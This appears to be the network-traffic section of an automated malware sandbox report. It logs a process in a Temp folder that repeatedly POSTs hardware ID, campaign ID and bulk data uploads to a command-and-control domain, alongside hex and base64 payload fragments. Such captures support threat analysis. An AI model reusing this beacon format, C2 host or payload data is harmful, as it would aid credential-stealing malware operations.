2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 31 30 62 61 0d 0a 39 44 6b 76 72 4a 56 70 38 6c 52 69 6e 2b 57 74 58 55 45 6b 76 69 76 4c 6e 75 44 71 46 56 77 2b 55 67 46 6a 4e 74 50 62 43 74 61 41 2b 62 2b 34 4d 4e 30 6d 51 61 59 2f 4e 4d 6b 49 4e 58 5a 4f 71 32 6d 75 4d 4f 72 42 7a 55 72 54 5a 66 4a 6d 4a 78 35 75 70 71 43 5a 6e 2f 69 51 66 61 4c 46 38 71 38 56 58 62 33 68 52 4f 34 4c 53 39 2b 67 69 6f 55 73 6a 76 49 78 6b 67 62 53 4f 32 6f 79 5a 4e 31 66 47 52 54 6f 64 6b 64 53 33 35 51 4e 66 4c 56 31 65 6a 6f 76 54 76 44 75 73 45 69 2b 41 75 45 43 4a 76 50 4c 69 6a 62 67 4f 54 38 34 59 44 30 53 4e 54 49 2f 6c 61 33 39 30 66 52 65 47 77 75 75 45 45 71 31 33 42 6f 32 46 66 4a 6e 5a 78 35 75 70 57 41 4a 58 32 6b 6b 37 41 61 6b 31 6a 38 31 69 51 67 31 64 61 35 37 4b 30 36 77 32 73 57 4d 44 76 4b 68 6f Data Ascii: 10ba9DkvrJVp8lRin+WtXUEkvivLnuDqFVw+UgFjNtPbCtaA+b+4MN0mQaY/NMkINXZOq2muMOrBzUrTZfJmJx5upqCZn/iQfaLF8q8VXb3hRO4LS9+gioUsjvIxkgbSO2oyZN1fGRTodkdS35QNfLV1ejovTvDusEi+AuECJvPLijbgOT84YD0SNTI/la390fReGwuuEEq13Bo2FfJnZx5upWAJX2kk7Aak1j81iQg1da57K06w2sWMDvKho
2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 72 55 6f 47 74 58 78 68 55 36 48 5a 46 55 76 2b 31 66 66 32 42 52 4a 35 36 6d 6d 35 41 75 6a 57 63 66 6f 49 52 6b 7a 61 44 36 33 71 57 55 4b 6b 76 36 46 42 4e 77 6a 46 47 32 30 55 38 69 62 54 77 6a 4f 72 4b 54 6c 51 72 51 53 30 71 4d 6f 45 32 45 32 63 62 61 6e 62 67 6d 52 38 59 51 4a 32 53 31 47 4b 76 46 61 30 4e 38 63 52 2b 75 2f 74 2b 67 51 72 56 6a 44 34 43 49 53 4c 32 30 31 2f 75 51 6d 42 49 32 32 30 55 37 74 4b 56 6f 34 2b 31 50 42 30 56 64 58 6f 36 4c 30 37 77 37 72 42 49 76 6e 49 51 30 71 62 7a 71 31 70 47 45 4d 6b 50 79 4a 41 64 73 6e 57 69 6a 31 56 39 6a 57 47 6b 62 6e 73 72 33 76 44 71 39 62 69 36 31 76 47 44 6b 75 61 66 36 42 52 79 36 35 38 5a 4e 4f 77 47 70 4e 59 2f 4e 59 6b 49 4e 58 52 4f 53 33 76 75 4d 46 6f 56 4c 43 37 53 51 4e 4d 32 30 31 Data Ascii: rUoGtXxhU6HZFUv+1ff2BRJ56mm5AujWcfoIRkzaD63qWUKkv6FBNwjFG20U8ibTwjOrKTlQrQS0qMoE2E2cbanbgmR8YQJ2S1GKvFa0N8cR+u/t+gQrVjD4CISL201/uQmBI220U7tKVo4+1PB0VdXo6L07w7rBIvnIQ0qbzq1pGEMkPyJAdsnWij1V9jWGkbnsr3vDq9bi61vGDkuaf6BRy658ZNOwGpNY/NYkINXROS3vuMFoVLC7SQNM201
2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 65 54 2f 34 38 4e 32 32 51 61 59 2f 4e 4d 6b 49 4e 58 5a 65 47 38 6e 65 38 5a 36 30 4f 46 2b 6d 38 59 4c 53 35 70 2f 71 74 74 43 5a 72 37 69 67 6a 63 4c 31 45 70 39 56 50 59 31 67 56 4c 34 72 53 77 36 41 32 74 57 73 72 73 4b 52 67 6f 62 7a 6d 35 36 69 68 44 6b 75 37 4a 56 70 38 4b 55 79 44 77 46 4d 2b 56 44 67 6a 71 74 2f 53 77 51 71 74 57 77 65 6b 68 48 79 5a 38 4e 37 65 71 5a 52 47 57 38 49 45 49 30 79 68 5a 4b 2f 31 55 31 64 41 61 51 2b 43 39 74 4f 4d 44 36 78 4b 4c 35 44 64 66 65 53 34 41 73 36 52 69 44 5a 62 6d 6a 6b 37 41 61 6b 31 6a 38 31 69 51 67 31 64 48 35 4b 6d 7a 37 51 71 69 58 4d 58 71 4a 68 67 6c 62 54 43 36 70 6d 6b 4b 6c 76 36 49 42 74 41 6e 56 43 6a 38 58 74 48 56 45 67 69 6a 2b 37 50 77 51 76 4d 63 35 4f 41 71 46 43 41 73 46 72 69 74 61 Data Ascii: eT/48N22QaY/NMkINXZeG8ne8Z60OF+m8YLS5p/qttCZr7igjcL1Ep9VPY1gVL4rSw6A2tWsrsKRgobzm56ihDku7JVp8KUyDwFM+VDgjqt/SwQqtWwekhHyZ8N7eqZRGW8IEI0yhZK/1U1dAaQ+C9tOMD6xKL5DdfeS4As6RiDZbmjk7Aak1j81iQg1dH5Kmz7QqiXMXqJhglbTC6pmkKlv6IBtAnVCj8XtHVEgij+7PwQvMc5OAqFCAsFrita
2024-10-22 17:25:18 UTC	183	IN	Data Raw: 4a 56 70 38 52 56 79 33 36 55 38 62 4b 57 6d 2f 33 74 72 4c 2f 45 2b 73 53 69 2b 56 76 52 33 45 67 63 62 71 37 4a 6c 76 46 70 4e 4a 62 6a 48 4d 45 63 65 73 61 79 5a 73 42 43 4c 58 70 2b 71 67 51 36 77 53 4c 70 43 77 4e 4d 32 67 79 71 4b 6b 68 50 61 76 59 6a 67 6a 61 49 30 52 68 32 6c 2f 45 33 46 63 47 72 62 54 30 73 44 76 72 46 49 76 63 59 56 38 35 4c 6d 6e 2b 6e 32 55 4e 6d 2f 47 66 48 35 49 4b 55 79 58 78 55 38 43 5a 4f 55 50 35 76 50 53 6d 51 71 30 63 6b 37 4e 68 58 79 56 2f 63 65 62 36 4e 46 6a 41 70 64 35 65 6a 54 73 61 4f 72 52 43 0d 0a Data Ascii: JVp8RVy36U8bKWm/3trL/E+sSi+VvR3Egcbq7JlvFpNJbjHMEcesayZsBCLXp+qgQ6wSLpCwNM2gyqKkhPavYjgjaI0Rh2l/E3FcGrbT0sDvrFIvcYV85Lmn+n2UNm/GfH5IKUyXxU8CZOUP5vPSmQq0ck7NhXyV/ceb6NFjApd5ejTsaOrRC
2024-10-22 17:25:18 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 6b 49 4e 46 42 71 32 70 39 4c 42 43 37 46 2f 5a 38 53 6b 63 4e 32 31 32 67 4a 52 6c 46 5a 6a 35 67 67 2f 68 47 6e 6f 75 39 56 66 65 6d 53 5a 65 34 4b 75 33 37 51 57 56 59 73 58 6b 4f 78 67 76 61 44 48 2b 35 43 59 4d 31 61 36 77 54 70 64 6b 61 32 32 30 54 4a 43 44 56 33 33 75 74 62 72 76 46 4c 6f 52 36 50 55 69 45 43 70 76 63 66 44 71 59 45 50 4e 70 73 64 4f 32 7a 55 55 65 36 51 47 69 34 35 45 48 37 33 70 71 36 59 62 36 30 71 4c 75 33 31 52 59 58 78 78 35 75 6f 68 44 5a 6a 33 69 67 44 63 4e 6b 59 6c 39 30 4c 54 6e 43 6c 32 7a 4c 61 2f 35 41 2b 6b 56 2f 58 64 44 68 49 71 59 6a 79 78 6f 56 67 39 67 50 57 48 41 4e 67 79 52 57 4f 36 46 4e 2b 62 54 33 47 74 38 2f 54 58 54 4f 74 45 69 37 74 76 4b 69 4a 67 50 37 6d 38 64 30 36 30 2b 34 49 43 30 Data Ascii: 26f0kINFBq2p9LBC7F/Z8SkcN212gJRlFZj5gg/hGnou9VfemSZe4Ku37QWVYsXkOxgvaDH+5CYM1a6wTpdka220TJCDV33utbrvFLoR6PUiECpvcfDqYEPNpsdO2zUUe6QGi45EH73pq6Yb60qLu31RYXxx5uohDZj3igDcNkYl90LTnCl2zLa/5A+kV/XdDhIqYjyxoVg9gPWHANgyRWO6FN+bT3Gt8/TXTOtEi7tvKiJgP7m8d060+4IC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49731	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:19 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: sergei-esenin.com
2024-10-22 17:25:19 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:25:20 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=arqh5718c8k62m9lvv3jgbfvl2; expires=Sat, 15 Feb 2025 11:11:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kb1lRhTOPnMvfv%2FoibruMeqfkbQHOVhEattDLoYPSc5Cw3nvV8qinvV4CV9wOtNDaCISv%2BOECjLHVsBhvEAb77Q%2F3MacU1EyFnFMfRss07CGGgftapjnbc2hhL5dXRK8m8ZeCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2f9e69402e57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1390&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13881&delivery_rate=2053900&cwnd=246&unsent_bytes=0&cid=d741fa07bb1081da&ts=447&x=0"
2024-10-22 17:25:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:25:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49733	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:21 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15080 Host: sergei-esenin.com
2024-10-22 17:25:21 UTC	15080	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:25:21 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ddqmgv80s3map9k9bqu3ptau2l; expires=Sat, 15 Feb 2025 11:12:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0DdeoVpLRgenTWkHaU%2Fj1huZuXhXXkdHkYYpx84hB8u0MT42jvjRQ6jF7oJqY37BZwbr7Iwo4YlC%2F4%2FXqexwcc4AO4Byu%2FVBNXzOhZn%2FRxdvrzmy5MDXZC2Ytj1mM2MAiL4v1Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2fa8dec04758-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1962&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16110&delivery_rate=1386973&cwnd=227&unsent_bytes=0&cid=863985b856e0fb83&ts=610&x=0"
2024-10-22 17:25:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:25:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49736	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:22 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: sergei-esenin.com
2024-10-22 17:25:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:25:22 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-10-22 17:25:23 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n8m074vu0f1143s0eiq5l31mon; expires=Sat, 15 Feb 2025 11:12:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3n01J2LJ5T%2BjLyqQi5601CeR%2Fds1MwVAHEt9h%2FslNZubbum0VFpVkm8RgDLF9L2Gk02CfWar0WWgLFkIifzXMk9lwjVMS6ApgYbCX9l3oUAydd1UdmueVdfaTy0ZjqQKC64wiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2fb1ff7845e4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21299&delivery_rate=1728955&cwnd=250&unsent_bytes=0&cid=38e3ef63785341bd&ts=686&x=0"
2024-10-22 17:25:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:25:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49737	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:24 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1276 Host: sergei-esenin.com
2024-10-22 17:25:24 UTC	1276	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:25:25 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fes8h71hn0k1fl99ikfehvg7dt; expires=Sat, 15 Feb 2025 11:12:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kxekjw6sMeK5C5kY%2FgXYMYXvXtrZL2DyDM4C7u7gOJcucHgzfJwo2JXEff9EHOdlj3tS6L1RFazPa590v6BX0GOD9eEpqpKWU7OnMbJtA5%2FtxTBZwQZNukhCIkXTqc3xySHSFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2fbdde71486a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1031&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2283&delivery_rate=2565101&cwnd=251&unsent_bytes=0&cid=b7e9998ce68bae6f&ts=571&x=0"
2024-10-22 17:25:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-10-22 17:25:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49739	172.67.206.204	443	7860	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:25:26 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Yr.HpxPk7vi8nnh.cY519nWPHmn_PpcgDrLF.OVkfpw-1729617917-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566427 Host: sergei-esenin.com
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB5962464BDDEB4A8D14650537997C6C--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: bf 3e 69 f9 f0 da 97 0b 70 22 16 ee 3b e4 dd 79 d9 d1 3e 0b 91 73 a7 b3 0f 81 0a 21 f5 f4 5e 33 9b 86 9b a4 70 3d f8 f0 7c 8a 0f 20 d3 45 7e 2a aa 40 d5 81 07 fd 6e c0 e1 b6 e4 67 89 56 ca cc 8e 45 33 38 ba 1b e6 0a 0b 6d 8a 63 b4 50 f0 3d fe f5 08 f5 8f 57 86 6c 62 d5 86 14 9f 7f b3 9b 7b 6a 67 c5 b6 65 4a c5 72 ae fb 3e 9a 86 03 53 4c af 66 56 fa 82 e1 43 f9 66 46 52 1f 77 6c bb e9 4f a1 2a d0 e5 fb 6f 0b 4e 78 e5 6a 38 d7 20 98 fd 2c 2b ab d3 57 62 bb 61 8a fb 6d 46 c0 c3 f9 9a 90 79 43 f1 2c a4 02 fd 30 b6 da 8d 81 a1 88 64 13 24 4d 7e 1f 39 3d 52 65 8f ae 2b b4 30 8d db e1 b3 36 78 bc f7 c0 e2 0d 63 c3 06 94 98 5d 8f 71 06 fe 9a be 8d 92 22 7b d8 3e b3 46 52 7c 4a 85 36 d3 56 23 4a 91 e0 67 05 99 34 49 2d 73 8b 16 d0 d3 31 9b 16 35 fe 7f 49 e7 d7 d4 Data Ascii: >ip";y>s!^3p=\| E~@ngVE38mcP=Wlb{jgeJr>SLfVCfFRwlOoNxj8 ,+WbamFyC,0d$M~9=Re+06xc]q"{>FR\|J6V#Jg4I-s15I
2024-10-22 17:25:26 UTC	15331	OUT	Data Raw: bb f0 b9 c4 6f 74 3f dc f5 c3 49 6f e9 f9 2a bb 72 3c aa 74 95 ad d2 ad f1 ce 1f a1 23 83 54 e1 2e a9 fb 5a 5b 53 4d 46 7e 82 f5 f6 61 25 a7 92 5a d5 d7 ca fd b1 65 1c 18 16 87 15 a9 0a f1 a5 0d 13 07 9a 95 50 fa 39 93 a1 e1 86 7d 23 86 45 5b df 57 c7 7b 61 7f bb e1 4e 02 ea 02 ea 62 ac 81 fb 8f 77 6a 09 82 fb d7 5d bc 1b 99 8a 57 51 8e 43 09 ed 0e 0a 91 3d 1e 2f ab d2 b4 43 1e 18 5d 7c c3 60 5f c6 3a ab c5 97 9a d9 10 60 73 eb 0c 7c 24 4e 10 d5 f7 4d c1 3c c6 cc 8c fa ac 5c 45 ec db 1d 7a b3 54 51 73 b5 c9 69 f3 4f 7d 48 ff 29 2a dc 22 93 ee 14 29 75 99 85 0f 09 fe 78 1f be 31 63 54 43 ab 31 22 88 3a a3 4c 2b a2 35 f5 23 62 f2 8f df db 6b 98 b7 73 7b e4 1d 10 f1 a9 c3 c7 04 ad 16 26 77 b1 0c be 96 d2 d0 e0 56 a3 9b eb 9d 4a 6b 46 e9 ce fd 44 72 ad 60 8b Data Ascii: 